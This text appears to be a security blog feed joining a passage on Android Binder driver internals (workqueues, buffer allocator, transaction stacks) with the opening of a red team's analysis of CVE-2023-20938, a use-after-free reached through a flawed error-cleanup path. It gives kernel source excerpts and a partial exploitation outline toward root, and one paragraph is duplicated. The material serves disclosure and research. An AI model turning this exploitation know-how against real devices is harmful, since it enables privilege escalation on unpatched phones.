When Binder cannot find a thread with an empty workqueue, it sends a BR_SPAWN_LOOPER response to the latest thread that is performing a read operation. This response requests the client to spawn a new thread to handle more future workloads. Spawning a new thread is not mandatory for the client. However, if it does, the new thread must register itself as a looper (BC_REGISTER_LOOPER) after spawn.

A client can configure the maximum number of threads it would like to support in advance using the BINDER_SET_MAX_THREADS ioctl. Once this limit is reached, Binder will not request any additional thread (BR_SPAWN_LOOPER).

Asynchronous Transaction

Binder supports one-way or asynchronous transactions, which does not require the recipient client to reply to. To initiate an asynchronous transaction, the sender sets the TF_ONE_WAY flag in the binder_transaction->flags field. The recipient client will receive regular transactions and asynchronous transactions together in a FIFO order.

However, Binder manages asynchronous transactions by queuing them in a dedicated asynchronous workqueue associated with each port (binder_node->async_todo). To read the next asynchronous transaction from a port’s asynchronous workqueue (binder_node->async_todo), the receiving client must first free the current one assigned in it using the BC_FREE_BUFFER command. After all, asynchronous transactions sent to the same client but different ports (binder_node) can still be processed simultaneously.

Binder Workqueues and Work Items

Binder employs multiple workqueues to enable concurrency while maintaining transaction order. Each workqueue is represented as a doubly linked list with only the head pointer (struct list_head) being stored. There are three types of workqueue in Binder:

Main client workqueue (binder_proc->todo): Stores all work items assigned to a client
Individual client thread workqueue (binder_thread->todo): Stores work items assigned to a specific client thread.
Individual binder_node asynchronous workqueue (binder_node->async_todo): Stores only a list of work items that relate to asynchronous transactions (BINDER_WORK_TRANSACTION).

Each work item is defined by a struct binder_work that can be added to a workqueue. The struct binder_work can be used independently or incorporated as a field within an object. It contains an entry node (entry) to be linked in a workqueue and the work type enum (type).

struct binder_work {
	struct list_head entry;

	enum binder_work_type {
		BINDER_WORK_TRANSACTION = 1,
		BINDER_WORK_TRANSACTION_COMPLETE,
		BINDER_WORK_TRANSACTION_PENDING,
		BINDER_WORK_TRANSACTION_ONEWAY_SPAM_SUSPECT,
		BINDER_WORK_RETURN_ERROR,
		BINDER_WORK_NODE,
		BINDER_WORK_DEAD_BINDER,
		BINDER_WORK_DEAD_BINDER_AND_CLEAR,
		BINDER_WORK_CLEAR_DEATH_NOTIFICATION,
	} type;
};

When a client performs a read operation (BINDER_WRITE_READ ioctl), Binder processes the next work item [1] and translates it into the appropriate response (BR_*) back to userspace [2]. To retrieve the next work item, Binder first checks the current client thread’s workqueue (binder_thread->todo) before looking in the main client workqueue (binder_proc->todo).

static int binder_thread_read(...)
{
	while (1) {
...
		w = binder_dequeue_work_head_ilocked(list); // [1]
...
		switch (w->type) {
...
		case BINDER_WORK_TRANSACTION_COMPLETE:
		case BINDER_WORK_TRANSACTION_PENDING:
		case BINDER_WORK_TRANSACTION_ONEWAY_SPAM_SUSPECT: {
...
			if (proc->oneway_spam_detection_enabled &&
				   w->type == BINDER_WORK_TRANSACTION_ONEWAY_SPAM_SUSPECT)
				cmd = BR_ONEWAY_SPAM_SUSPECT;
			else if (w->type == BINDER_WORK_TRANSACTION_PENDING)
				cmd = BR_TRANSACTION_PENDING_FROZEN;
			else
				cmd = BR_TRANSACTION_COMPLETE;
...
			if (put_user(cmd, (uint32_t __user *)ptr)) // [2]
...
}

When an asynchronous transaction is released, Binder dequeues a new one from the binder_node asynchronous workqueue (binder_node->async_todo) and queues it in the workqueue associated with the client thread that initiated the release (binder_thread->todo).

There are five categories of work items, each with a designated container and specific work type enums:

Category	Container	Work Type Enum
Transaction	`binder_transaction`	`BINDER_WORK_TRANSACTION`
Transaction status update	None	`BINDER_WORK_TRANSACTION_COMPLETE`
		`BINDER_WORK_TRANSACTION_PENDING`
		`BINDER_WORK_TRANSACTION_ONEWAY_SPAM_SUSPECT`
Binder node update	`binder_node`	`BINDER_WORK_NODE`
Death notifications	`binder_ref_death`	`BINDER_WORK_DEAD_BINDER`
		`BINDER_WORK_DEAD_BINDER_AND_CLEAR`
		`BINDER_WORK_CLEAR_DEATH_NOTIFICATION`
Error	`binder_error`	`BINDER_WORK_RETURN_ERROR`

Transaction

In the Binder Concurrency Model section, we discussed how Binder distributes incoming transactions as work items across multiple threads within a client process. Every transaction (binder_transaction) is processed and queued in either the main client workqueue (binder_proc->todo) or individual thread work queue (binder_thread->todo).

New transactions are initially assigned as a BINDER_WORK_TRANSACTION work item to the main recipient client workqueue (binder_proc->todo). Upon reading, Binder processes the work item and sends the BR_TRANSACTION response back to userspace along with the transaction data.

On the other hand, reply transactions are specifically assigned to the workqueue of the client thread (binder_thread->todo) that initiated the first transaction. This guarantees that the thread that initiated the first transaction is the same thread that receives the reply. Upon reading, Binder sends the BR_REPLY response back to the userspace along with the transaction data.

Transaction Status Update

A transaction is considered complete after a reply is received or an asynchronous transaction is sent. Binder queues the BINDER_WORK_TRANSACTION_COMPLETE work item in the workqueue of the client thread that initiated the transaction (binder_thread->todo). After processing this work item, Binder returns the BR_TRANSACTION_COMPLETE response back to the userspace.

In scenarios where an asynchronous transaction is sent to a frozen thread, Binder queues the BINDER_WORK_TRANSACTION_PENDING work item in the main workqueue of the client (binder_proc->todo) that initiated the transaction.

Finally, if an asynchronous transaction is received and the binder buffer allocator is full, Binder queues the BINDER_WORK_TRANSACTION_ONEWAY_SPAM_SUSPECT work item in the main workqueue of the recipient client (binder_proc->todo).

Death Notifications

Binder supports death notifications, which allows clients to be notified when a connected client they’re interacting with exits. Binder tracks this by creating a binder_ref_death object containing the work item (binder_work) and assigning it to the binder_ref->death. When a binder_ref is released, Binder checks for an associated binder_ref_death. If found, Binder locates the corresponding binder_node and queues it as a BINDER_WORK_DEAD_BINDER work item in the main workqueue of the owner of that binder_node. When the client performs a read, Binder will send the BR_DEAD_BINDER response, notifying which client that was registered has exited.

Upon sending the BR_DEAD_BINDER response, Binder adds the work item in the binder_proc->delivered_death list. The client is expected to send the BC_DEAD_BINDER_DONE command, indicating that it has processed the death notification. Then, Binder removes the work item from the delivered_death list.

Clients also have the option to unregister death notifications. Upon success, Binder queues the BINDER_WORK_CLEAR_DEATH_NOTIFICATION work item in the main workqueue of the client that initiates the operation. However, if the registered client dies during this process, Binder queues the BINDER_WORK_DEAD_BINDER_AND_CLEAR work item, indicating that the operation failed because the client had already exited.

Binder Node

The BINDER_WORK_NODE work item provides updates to the client about the presence or absence of strong or weak references of a binder_node. Depending on who initiated the operation, Binder assigns the binder_node->work as a BINDER_WORK_NODE work item to either the main client workqueue or a client thread workqueue.

For example, if a client sends a BINDER_TYPE_BINDER to another client, which results in the creation of a binder_ref and an increase in the strong reference of the binder_node, Binder then assigns the work item to the workqueue of the client thread that sends it. Meanwhile, if another client acquires a strong reference on its binder_ref, leading to an increase in the strong reference of the binder_node owned by another client, Binder assigns the work item to the main workqueue of the other client.

Binder informs the userspace changes the presence or absence of strong or weak references only once. Binder uses the has_strong_ref and has_weak_ref fields within the binder_node to monitor the changes. When Binder processes the BINDER_WORK_NODE work item, it updates these fields and returns one of four responses based on the changes:

BR_INCREFS: has_weak_ref transitions from zero to one
BR_ACQUIRE: has_strong_ref transitions from zero to one
BR_RELEASE: has_strong_ref transitions from one to zero
BR_DECREFS: has_weak_ref transitions from one to zero

static int binder_thread_read(...)
{
...
	case BINDER_WORK_NODE: {
...
		// Save the previous values
		has_strong_ref = node->has_strong_ref;
		has_weak_ref = node->has_weak_ref;
...
		// Update the presence of strong and weak references
		if (weak && !has_weak_ref) {
			node->has_weak_ref = 1;
		... }
		if (strong && !has_strong_ref) {
			node->has_strong_ref = 1;
		... }
		if (!strong && has_strong_ref)
			node->has_strong_ref = 0;
		if (!weak && has_weak_ref)
			node->has_weak_ref = 0;
...
		// Check for any changes and return approriate responses
		if (weak && !has_weak_ref)
			ret = binder_put_node_cmd(..., BR_INCREFS, "BR_INCREFS");
		if (!ret && strong && !has_strong_ref)
			ret = binder_put_node_cmd(..., BR_ACQUIRE, "BR_ACQUIRE");
		if (!ret && !strong && has_strong_ref)
			ret = binder_put_node_cmd(..., BR_RELEASE, "BR_RELEASE");
		if (!ret && !weak && has_weak_ref)
			ret = binder_put_node_cmd(..., BR_DECREFS, "BR_DECREFS");

Error

When certain operations either complete or fail, Binder queues the BINDER_WORK_RETURN_ERROR work item into the workqueue of the client thread that initiated it. Binder processes this work item and returns either the BR_OK or BR_ERROR response back to userspace.

Binder Buffer Allocator

Initialization

Binder implements a memory allocator to store incoming transaction data, which we will call the binder buffer allocator. Every client binder_proc owns a binder buffer allocator binder_alloc which allocates memory for incoming transaction data.

During initialization, a client must create a memory map for the Binder device file descriptor as follows:

#define BINDER_VM_SIZE 4 * 1024 * 1024

int binder_fd = open("/dev/binder", O_RDWR | O_CLOEXEC);
void *map = mmap(nullptr, BINDER_VM_SIZE, PROT_READ, MAP_PRIVATE, binder_fd, 0);

The mmap syscall will call binder_mmap to reserve a virtual memory area and map it to the userspace. Binder defers the allocation of physical backing pages to store incoming transaction data until needed (lazy allocation).

Binder relies on the integrity of the transaction data in the allocator’s memory for cleanup. If the active transaction data is corrupted, it could lead to memory corruptions and even code execution in the kernel as demonstrated in the CVE-2020-0041 and CVE-2023-20938 writeups. As a result, Binder only allows users to create a read-only memory map (PROT_READ) and prevents them from modifying its access permission later.

Best-Fit Allocation

The binder buffer allocator implements the best-fit allocation strategy with the kernel’s red-black tree data structure (rb_tree). The binder buffer allocator starts with a single binder_buffer, which takes up the whole buffer space and is labeled as unused.

When sending a transaction to a client, Binder first allocates a binder_transaction object to store information about the transaction. Then, the binder buffer allocator allocates a binder_buffer object to own a chunk of memory in the memory map and assign it to the binder_transaction.

Allocate a Buffer

When a client (Client A) sends a transaction with data, Binder allocates a binder_buffer from the target client’s (Client B) binder buffer allocator and copies the data into it. The target client receives the transaction and reads the data from the memory map.

Free a Buffer

To free a transaction and its data, a client sends a BC_FREE_BUFFER message with the start address of the transaction data. Binder then frees the binder_transaction and sets the free field of the binder_buffer. If adjacent memory is also freed, the binder buffer allocator merges the two binder_buffer into one.

Zero Out Transaction Data

The binder buffer allocator does not zero out the transaction data after freeing the transaction. A client has read access to the memory map, so it can still read the transaction data after freeing it (BC_FREE_BUFFER). To zero out the transaction data after free, the sender must explicitly set the TF_CLEAR_BUF flag in the binder_transaction_data when sending the BC_TRANSACTION command.

For stub and proxy code generated from the AIDL, developers can annotate the interface with @SensitiveData to explicitly set the TF_CLEAR_BUF flag in all outgoing transactions. This prevents sensitive data in the transaction from remaining in memory after free. For example, the IKeyMintOperation.aidl AIDL interface used by Keymint is annotated with @SensitiveData.

@SensitiveData
interface IKeyMintOperation { ... }

Binder Transaction Stacks

As we discussed in Binder Concurrency Model, a single-threaded client cannot retrieve the next incoming transaction until it has responded to the current one. On the caller side, a single-threaded client cannot initiate a new RPC (BC_TRANSACTION) until it receives a reply (BR_REPLY) to the previous RPC. To maintain these orders, Binder tracks every incoming and outgoing transaction between two different threads on a transaction stack. The purpose of transaction stacks is different from the Binder Workqueues whose purpose is to support concurrency among multiple threads in a client.

Note: Every transaction is only associated with one sender thread and one receiver thread during its lifetime, regardless of whether the client is multithreaded or not.

A Chain Request with Multiple Clients

It is common to have multiple clients working with each other to serve a RPC request. The diagram below shows an example of a RPC originating from A that involves multiple single-threaded clients.

It is a chain of transactions in the following order:

A -> B -> C -> D -> B

Binder allows a client to handle multiple pending transactions at the same time. For example, client B has two pending transactions at one point, one coming from A and another coming from D. However, the client can only respond with BR_REPLY to those pending transactions in the last-in-first-out (LIFO) order. In addition, when one of the clients in the chain dies, Binder ensures proper error handling by delivering errors back to every involved client in the correct order.

Two Stack Layouts

Binder puts every transaction on two different stacks, which we will call the chain transaction stack and the thread transaction stack.

Let’s have an overview of the functions each stack serves:

Chain transaction stack
- The order of transactions of a chain request.
- Binder traverses it to clean up the chain request when one of the clients exits early.
Thread transaction stack
- The order of transactions that is sent or received by a client
- Binder traverses it to clean up and release transactions, which a client participated in before exit.

Binder implements these two stacks as two linked lists with the following fields in binder_transaction:

struct binder_transaction {
...
	struct binder_transaction *from_parent;
	struct binder_transaction *to_parent;
...
	struct binder_thread *from;
	struct binder_thread *to_thread;
...
}

The binder_thread stores a pointer to the top element of its thread transaction stack in the transaction_stack field. This top element represents the last transaction that the thread sent or received.

struct binder_thread {
...
	struct binder_transaction *transaction_stack
...
}

Push a Transaction

When a client initiates a transaction (BC_TRANSACTION), Binder pushes the transaction onto the sender’s thread transaction stack. This is achieved by setting the from_parent field of the new transaction (binder_transaction) to point to the current top of the sender’s stack (transaction_stack). Then, the top of the stack is updated to point to the new transaction (binder_transaction).

binder_transaction t;
binder_thread sender;
...
t->from_parent = sender->transaction_stack;
sender->transaction_stack = t;

When a client reads a transaction, Binder pushes the transaction onto the receiver’s thread transaction stack. This is achieved by setting the to_parent field of the new transaction (binder_transaction) to point to the current top of the sender’s stack (transaction_stack). Then, the top of the stack is updated to point to the new transaction (binder_transaction).

binder_transaction t;
binder_thread receiver;
...
t->to_parent = receiver->transaction_stack;
receiver->transaction_stack = t;

Consequently, the chain transaction stack is formed by linking transactions through their from_parent fields, creating a chain of requests.

Pop a Transaction

Assuming everything is in order, when a client sends a reply (BC_REPLY), Binder pops the current top transaction of the sender’s thread transaction stack. This is achieved by updating the top of the stack to point to the to_parent of the current top transaction. The popped transaction will be the one the sender had received and needs to reply to.

static void binder_transaction(..., struct binder_thread *thread, ...) {
...
	struct binder_transaction *in_reply_to = NULL;
...
	if (reply) {
		in_reply_to = thread->transaction_stack;
...
		thread->transaction_stack = in_reply_to->to_parent;
...
}

When a client with a pending incoming transaction fails or crashes, Binder cancels the pending request by popping the current top transaction from the sender’s thread transaction stack. The popped transaction will be the one the sender had sent, but the client failed to reply to. To notify the sender of the failure, Binder queues a BINDER_WORK_RETURN_ERROR work item to the sender’s client thread. Later, when the sender tries to read a reply, Binder processes the work item and returns either BR_DEAD_REPLY or BR_FAILED_REPLY according to the cause of the failure.

static void binder_pop_transaction_ilocked(struct binder_thread *target_thread, ...)
{
...
	target_thread->transaction_stack =
		target_thread->transaction_stack->from_parent;
...
}

When a client with a pending incoming transaction fails to reply or crashes, Binder cancels the pending request by popping the current top transaction from the sender’s thread transaction stack. The popped transaction will be the one the sender had sent, but the client failed to reply to. To notify the sender of the failure, Binder queues a BINDER_WORK_RETURN_ERROR work item to the sender’s client thread. Later, when the sender tries to read a reply, Binder processes the work item and returns either BR_DEAD_REPLY or BR_FAILED_REPLY according to the cause of the failure.

Chain Transaction Stack

The chain transaction stack tracks the order of transactions in a chain, which originates from the first request.

Let’s reuse the example above involving four transactions among A, B, C and D. Before B responds D, the chain transaction stack will look as follows:

Binder can traverse the chain transaction stack, by following the from_parent field of any transaction, to find the previous transaction and the first transaction in the chain.

Suppose client B exits before responding to the last transaction sent by D. During cleanup, Binder traverses the chain transaction stack starting from the top transaction on B’s transaction_stack to look for its previous client in the chain. Then, it sends a BR_DEAD_REPLY to notify the client that there is a failed reply. In our case, Binder sends BR_DEAD_REPLY to D, which is the previous client before B in the chain.

A -> B -> C -> D -> B

Binder calls binder_send_failed_reply to traverse the chain transaction stack and sends an error_code (e.g BR_DEAD_REPLY) to the previous client in the chain.

static void binder_send_failed_reply(struct binder_transaction *t,
				     uint32_t error_code)
{
        while (1) {
                target_thread = binder_get_txn_from_and_acq_inner(t);
                if (target_thread) {
...
                        // Send `error_code` to `target_thread
...
                        return;
                }
                next = t->from_parent;
        }
}

Thread Transaction Stack

The thread transaction stack tracks the order of active transactions that a client has sent and received.

Following the previous example, the thread transaction stack of each client will look as follows:

Binder utilizes the from_parent and to_parent fields along with from and to_thread to traverse the thread transaction stack of each client thread. By checking if from or to_thread points to the target client thread, it follows either the from_parent or to_parent field to the next transaction in the stack.

For example, starting from B’s transaction_stack, Binder checks whether the from or to_thread points to B and follows either the from_parent or to_parent to the next transaction.

The first transaction from the top has to_thread pointing to B, so Binder follows to_parent to the next transaction.
The second transaction has from pointing to B, so Binder follows the from_parent to the next transaction.

When a client thread exits, Binder must remove every reference to that thread within all ongoing transactions. The binder_thread_release, which is responsible for releasing the client thread, handles that cleanup. It traverses the thread transaction stack to remove every reference to the client (binder_proc) and client thread (binder_thread).

static int binder_thread_release(struct binder_proc *proc,
				 struct binder_thread *thread)
{
        while (t) {
...
                if (t->to_thread == thread) {
...
                        t->to_proc = NULL;
                        t->to_thread = NULL;
...
                        t = t->to_parent;
                } else if (t->from == thread) {
                        t->from = NULL;
                        t = t->from_parent;
                }
        }
...
}

Exploring Binder with libdevbinder

We would like to conclude this blog with a quick overview of the libdevbinder project we briefly mentioned in the introduction. As you might have noticed based on the information provided above Binder kernel module is a very complex target for analysis. In order to fully understand semantics of the exposed Binder kernel API to the user-space code via ioctls one would need to study the implementation of libbinder – library which sits on top of the Binder kernel module and provides a higher-level Binder IPC interface to the Android Framework. The libbinder itself consists of multiple files written in C++ & Rust and might be challenging to comprehend for the audience with no prior knowledge in this area.

Thus, to facilitate the Binder research and make understanding Binder concepts easier we developed a tiny and simple library – libdevbinder – which serves as an example on how two endpoints running in user-space could communicate with each other over the Binder. This library provides necessary minimalistic implementation sufficient to send a Binder transaction across the IPC interface.

As an example, libdevbinder additionally provides two small programs client and server where client sends user-provided data via Binder transaction to the server which prints the received data to stdout.

These programs are expected to run on top of a vanilla Linux kernel built with Binder driver enabled config (e.g. in QEMU) – not in an Android environment. Main reason for that is that the server program registers itself with the Binder driver as the context manager. There can only be one context manager per binder device node, which very likely is already claimed by the ServiceManager process on Android.

To send the transaction we would use client program which takes as input a string and sends it to the server:

./client “Hello world!”

We hope that these tiny examples remove the layer of ambiguity and complexity over the Binder kernel ioctl interface and make researching Binder easier and more convenient.

Additional Reading

While we couldn’t cover every detail about Binder, here are some additional resources that may be helpful for learning more:

Historical context:

Credits

Special thanks to Adam Bacchus, Alice Ryhl, Carlos Llamas, Farzan Karimi, Jon Bottarini and Sindhu Shivkumar for their support with technical questions and review of this post. This post would also not have been possible without the collaborative effort of our amazing team.

Attacking Android Binder: Analysis and Exploitation of CVE-2023-20938

Mon, 03 Jun 2024 00:00:00 +0000

At OffensiveCon 2024, the Android Red Team gave a presentation (slides) on finding and exploiting CVE-2023-20938, a use-after-free vulnerability in the Android Binder device driver. This post will provide technical details about this vulnerability and how our team used it to achieve root privilege from an untrusted app on a fully up-to-date (at the time of exploitation) Android device. This vulnerability affected all Android devices using GKI kernel versions 5.4 and 5.10.

This vulnerability is fixed and the patches were released as part of the Android Security Bulletin–February 2023 and July 2023 (more details in the remediation section of the blog).

This is the first post of a multi-part series where we discuss our journey into Binder:

Part 1: Attacking Android Binder: Analysis and Exploitation of CVE-2023-20938
Part 2: Binder Internals

Binder

Binder is the primary inter-process communication (IPC) channel on Android. It supports a variety of features such as passing file descriptors and objects containing pointers across process boundaries. It is composed of userspace libraries (libbinder and libhwbinder) provided by the Android platform and a kernel driver in the Android Common Kernel. Therefore, it provides a common IPC interface for Java and native code which can be defined in AIDL. The term “Binder” is commonly used to refer to many parts of its implementation (there is even a Java class called Binder in Android SDK), but in this post we will use the term “Binder” to refer to the Binder device driver unless otherwise stated.

Binder device driver (/dev/binder)

All untrusted apps on Android are sandboxed and inter-process communication mostly occurs through Binder. Meanwhile, Chrome’s renderer process on Android is assigned the isolated_app SELinux context, which is more restrictive than untrusted apps. Despite that, it also has access to Binder and a limited set of Android services. Therefore, Binder presents a wide attack surface because it is accessible by default to every untrusted and isolated app.

History of Binder vulnerabilities

Here is a list of recent exploits that have exploited vulnerabilities in Binder to achieve root privilege:

CVE-2019-2025 Waterdrop: slides, video
CVE-2019-2215 Bad Binder: blog, video
CVE-2020-0041: blog
CVE-2020-0423 Typhoon Mangkhut: slides, video
CVE-2022-20421 Bad Spin: whitepaper, video

To provide high performance IPC, Binder consists of an extremely complex object lifetime, memory management, and concurrent threading model. To give a sense of this complexity, we counted three different types of concurrency synchronization primitives (5 locks, 6 reference counters, and a few atomic variables) all being used in the same 6.5k line file implementing the driver. The locking in Binder is also extremely fine-grained for performance reasons, further increasing the complexity of the code.

There have been a number of successful attacks against Binder in recent years by leveraging several security issues, primarily caused by use-after-free bugs. These bugs arise from various root causes, including improper cleanup logic (CVE-2019-2215 and CVE-2022-20421), data races (CVE-2020-0423), and intra-object out-of-bounds access (CVE-2020-0041). This blog provides information on a UAF issue which is a result of improper clean up implementation while processing a Binder transaction which leads to a refcounting error.

Making an RPC call with Binder

This section will describe how a userspace program interacts with Binder. This section provides a quick overview of what Binder is and how userspace applications interact with it on Android to help illustrate some concepts in Binder. However, if you are already familiar with Binder, feel free to skip this and go to the Vulnerability section.

Initialize a Binder endpoint

Developing programs to perform IPC via Binder is somewhat different from using other types of sockets (e.g. such as network sockets, etc).

Every client first open the Binder device and create a memory mapping using the returned file descriptor:

int fd = open("/dev/binder", O_RDWR, 0);
void *map = mmap(NULL, 4096, PROT_READ, MAP_PRIVATE, ctx->fd, 0);

This memory will be used for the Binder driver’s memory allocator, which is used to store all of the incoming transaction data. This mapping is read-only for the client, but writable by the driver.

Send & Receive A Transaction

Instead of calling the send and recv syscalls, clients perform most IPC interactions by sending the BINDER_WRITE_READ ioctl to the Binder driver. The argument to the ioctl is a struct binder_write_read object:

struct binder_write_read bwr = {
    .write_size = ...,
    .write_buffer = ...,
    .read_size = ...,
    .read_buffer = ...
};

ioctl(fd, BINDER_WRITE_READ, &bwr);

The write_buffer pointer field points to a userspace buffer containing a list of commands from the client to the driver. Meanwhile, the read_buffer pointer field points to a userspace buffer in which the Binder driver will write commands from the driver to the client.

Note: The motivation for this design is that a client can send a transaction and then wait for a response with one ioctl syscall. In contrast, IPC with sockets requires two syscalls, send and recv.

The diagram below shows the data involved when sending a transaction to a client linked to the Ref 0 (target.handle) and the transaction contains a Node object (BINDER_TYPE_BINDER):

The write_buffer points to a buffer that contains a list of BC_* commands and their associated data. The BC_TRANSACTION command instructs Binder to send a transaction struct_binder_transaction_data. The read_buffer points to an allocated buffer that will be filled by Binder when there are incoming transactions.

The struct binder_transaction_data contains a target handle and two buffers, buffer and offsets. The target.handle is the Ref ID associated with the recipient, which we will discuss how it is created later. The buffer points to a buffer containing a mix of Binder objects and opaque data. The offsets points to an array of offsets at which every Binder object is located in the buffer. The recipient will receive a copy of this struct binder_transaction_data in the read_buffer after it performs a read with the BINDER_WRITE_READ ioctl.

Users can send a Node by including a struct flat_binder_object with the type field set to BINDER_TYPE_BINDER in the transaction data. The Node is a type of Binder object, which we will discuss more in the next section.

Establish a connection with another process

Binder uses objects such as a Node and a Ref to manage communication channels between processes.

If a process wants to allow another process to talk to it, it sends a Node to that process. Binder then creates a new Ref in the target process and associates it with the Node, which establishes a connection. Later, the target process can use the Ref to send a transaction to the process that owns the Node associated with the Ref.

The image above illustrates the steps on how App A establishes a connection for App B with itself, so App B can send transactions to App A to perform RPC calls.

The steps are as follows:

App A sends a transaction to App B containing a Node with 0xbeef as ID. The transaction is similar to the one shown above and the Node is represented by the struct flat_binder_object data.
Binder associates the Node 0xbeef with App A internally and initializes a reference counter to keep track of how many Refs are referencing it. In the actual implementation, there are 4 reference counters in the underlying Node data structure (struct binder_node), which we will cover later.
Binder creates a Ref 0xbeef that belongs to App B internally and it references App A’s Node 0xbeef. This step increments the Node 0xbeef refcount by 1.
Now, App B can send transactions to App A by using 0xbeef as the target.handle in its struct binder_transaction_data in future. When Binder processes the transaction sent by B, it can find out that the Ref 0xbeef references App A’s Node 0xbeef and send the transaction to App A.

Binder Context Manager

One might ask a question: How does App A send a Node to App B if there is no connection between them in the first place? Firstly, in addition to sending a Node object from one process to another (as shown above) it is also possible to send a Ref object in a similar way. For example, assuming that there exists another App C, then App B can send the Ref (created at step 3 above) to App C. Once App C receives the Ref from App B it can use the Ref to send transactions to App A.

Secondly, Binder enables a special process to claim itself as the Context Manager with the BINDER_SET_CONTEXT_MGR ioctl and only one single process can hold the role. The Context Manager is a special Binder IPC endpoint always accessible at handle (Ref) 0 which serves as an intermediary to make Binder IPC endpoints discoverable by other processes.

For instance, a process Client 1 sends a Node (e.g. 0xbeef) to the Context Manager, which in turn receives a Ref (0xbeef). Then, another third process Client 2 initiates a transaction to the Context Manager asking for that Ref (0xbeef). Context Manager responds to the request by returning the Ref (0xbeef). Consequently, this establishes a connection between two processes as Client 2 can now send transactions to Client 1 using the Ref (0xbeef).

On Android, the ServiceManager process claims itself as the Context Manager during startup. System services register their Binder Nodes with the Context Manager to be discoverable by other Apps.

Vulnerability

A client can include a Binder object (struct binder_object) in a transaction, which can be any of these:

Name	Enum	Description
Node	BINDER_TYPE_BINDERBINDER_TYPE_WEAK_BINDER	A Node
Ref	BINDER_TYPE_HANDLEBINDER_TYPE_WEAK_HANDLE	A reference to a Node
Pointer	BINDER_TYPE_PTR	A pointer to a memory buffer used for transferring data
File Descriptor	BINDER_TYPE_FD	A file descriptor
File Descriptor Array	BINDER_TYPE_FDA	An array of file descriptors

Before sending all Binder objects to the recipient, Binder must translate those objects from the sender’s context into the recipient’s context in the binder_transaction function:

static void binder_transaction(...)
{
  ...
  // Iterate through all Binder objects in the transaction
  for (buffer_offset = off_start_offset; buffer_offset < off_end_offset;
      buffer_offset += sizeof(binder_size_t)) {
    // Process/translate one Binder object
  }
  ...
}

For example, consider a scenario where a client shares a file to another client by sending a file descriptor via Binder. To allow the recipient to access the file, Binder translates the file descriptor by installing a new file descriptor with the shared file in the recipient’s task process.

Note: Some objects are actually translated when the recipient reads the transaction - when BINDER_WRITE_READ ioctl is invoked by the recipient - while others are translated at the moment of sending transaction by the sender - when BINDER_WRITE_READ ioctl is invoked by the sender.

There exists a code path for error handling [1] when processing a transaction with an unaligned offsets_size. Notice that Binder skips the for-loop processing Binder objects, so buffer_offset remains 0 and is then passed to the binder_transaction_buffer_release function call [2] as an argument:

static void binder_transaction(..., struct binder_transaction_data *tr, ...)
{
  binder_size_t buffer_offset = 0;
  ...
  if (!IS_ALIGNED(tr->offsets_size, sizeof(binder_size_t))) {        // [1]
    goto err_bad_offset;
  }
  ...
  // Iterate through all Binder objects in the transaction
  for (buffer_offset = off_start_offset; buffer_offset < off_end_offset;
      buffer_offset += sizeof(binder_size_t)) {
    // Process a Binder object
  }
  ...
  err_bad_offset:
  ...
    binder_transaction_buffer_release(target_proc, NULL, t->buffer,
                                      /*failed_at*/buffer_offset,    // [2]
                                      /*is_failure*/true);
  ...
}

binder_transaction_buffer_release is a function that undoes every side effect that Binder caused after processing Binder objects in the transaction. For example, closing the opened file descriptor in the recipient process’s task. In error handling cases, Binder must only clean up Binder objects that it has already processed before hitting an error. The failed_at and is_failure parameters in the function determine how many Binder objects Binder has to clean up.

Back to the error handling path of unaligned offsets_size where failed_at == 0 and is_failure == true. In this case, Binder calculates off_end_offset to be the end of the transaction buffer. Therefore, Binder cleans up every Binder object in the transaction. However, Binder did not process any Binder objects in the first place because it hit the error and skipped the for-loop which processes the Binder objects.

static void binder_transaction_buffer_release(struct binder_proc *proc,
                                              struct binder_thread *thread,
                                              struct binder_buffer *buffer,
                                              binder_size_t failed_at/*0*/,
                                              bool is_failure/*true*/)
{
  ...
  off_start_offset = ALIGN(buffer->data_size, sizeof(void *));
  off_end_offset = is_failure && failed_at ? failed_at
                                           : off_start_offset + buffer->offsets_size;
  for (buffer_offset = off_start_offset; buffer_offset < off_end_offset;
       buffer_offset += sizeof(size_t)) {
    ...
  }
  ...
}

The reason for this logic is that the meaning of failed_at is overloaded: there are other parts of the code that use this logic to clean up the entire buffer. However, in this case we’ve hit this code path without processing any objects, which will introduce inconsistency in reference counting. In the following section we will demonstrate how to leverage this vulnerability to achieve a use-after-free of a Binder Node object and turn it into a privilege escalation PoC.

Exploitation

In a previously published exploit for CVE-2020-004, Blue Frost Security exploited the same cleanup process to achieve root privilege. However, they exploited a vulnerability that modifies the Binder objects within the transaction after Binder had processed it. They published a PoC to demonstrate their root privilege escalation on a Pixel 3 running kernel version 4.9.

We took inspiration from this past exploit to first achieve the same leak and unlink primitives in Binder. Because of some changes in the SLUB allocator’s caches in newer kernel versions, we used a different approach to perform use-after-free on the victim objects. We will explain those changes and how we overcame them in a later section.

UAF of a binder_node

A Node (struct binder_node) is a Binder object (struct flat_binder_object) in a transaction with the header type BINDER_TYPE_BINDER or BINDER_TYPE_WEAK_BINDER. Binder creates a Node internally when a client sends a Node to another client. Binder also manages several reference counters in the Node to determine its lifetime. In this section, we demonstrate how to leverage the vulnerability described above to introduce inconsistency in one of the reference counters of a Node object, which leads to freeing this object while having a dangling pointer to it and, thus, resulting in a use-after-free.

When the binder_transaction_buffer_release function iterates through all Binder objects in the buffer and encounters a Node with the header type BINDER_TYPE_BINDER or BINDER_TYPE_WEAK_BINDER, it calls the binder_get_node function to retrieve the binder_node that belongs to the recipient process’s context (proc) and has the Node ID equal to fp->binder ([1] in the listing below).

Then, it calls the binder_dec_node function to decrement one of its reference counters ([2] in the listing below). Suppose we have a Node in the transaction with the header type BINDER_TYPE_BINDER, then Binder calls binder_dec_node function with passing expressions strong == 1 and internal == 0 as function arguments.

static void binder_transaction_buffer_release(...)
{
  ...
  for (buffer_offset = off_start_offset; buffer_offset < off_end_offset;
       buffer_offset += sizeof(size_t)) {
    ...
    case BINDER_TYPE_BINDER:
    case BINDER_TYPE_WEAK_BINDER: {
      ...
      // [1]
      node = binder_get_node(proc, fp->binder);
      ...
      // [2]
      binder_dec_node(node, /*strong*/ hdr->type == BINDER_TYPE_BINDER, /*internal*/ 0);
      ...
    } break;
    ...
  }
  ...
}

Note: The terms Node and binder_node are interchangeable, but the term binder_node usually refers to the underlying Node data structure in Binder. The term Node is also used to refer to a struct flat_binder_object in a transaction that has the header type BINDER_TYPE_BINDER and BINDER_TYPE_WEAK_BINDER.

The binder_dec_node function calls binder_dec_node_nilocked to decrement one of the reference counters ([1] in listing below) of the binder_node. If binder_dec_node_nilocked returns true, the function will call binder_free_node to free the binder_node ([2] in listing below). That’s exactly the branch we want to be taken in order to achieve UAF.

